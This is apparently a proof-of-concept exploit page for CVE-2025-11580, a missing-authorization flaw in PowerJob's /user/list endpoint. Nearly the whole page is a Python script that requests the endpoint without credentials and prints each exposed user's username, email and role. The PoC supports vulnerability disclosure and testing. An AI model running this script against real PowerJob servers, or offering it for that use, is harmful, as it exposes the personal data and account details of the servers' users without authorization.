CVE-2025-11580 PowerJob /user/list接口缺失授权漏洞

# CVE-2025-11580 PowerJob /user/list Missing Authorization PoC # This PoC demonstrates unauthorized access to user list endpoint import requests # Target PowerJob server URL TARGET_URL = "http://target-powerjob-server:7700" # The vulnerable endpoint - /user/list ENDPOINT = "/user/list" def exploit_user_list(base_url): """ Exploit CVE-2025-11580: Access user list without authentication The /user/list endpoint lacks proper authorization checks, allowing unauthenticated remote attackers to retrieve user information. """ url = f"{base_url}{ENDPOINT}" # Send GET request without any authentication credentials # No cookies, no tokens, no session needed headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-11580-PoC)", "Accept": "application/json" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Vulnerable! Status Code: {response.status_code}") print(f"[+] Response Data:") print(response.text) # Parse and display user information data = response.json() if "data" in data and data["data"]: print(f"\n[+] Found {len(data['data'])} users:") for user in data["data"]: print(f" - Username: {user.get('username', 'N/A')}") print(f" Email: {user.get('email', 'N/A')}") print(f" Role: {user.get('role', 'N/A')}") return True else: print(f"[-] Not vulnerable or endpoint not found. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11580 - PowerJob Missing Authorization PoC") print("=" * 60) exploit_user_list(TARGET_URL)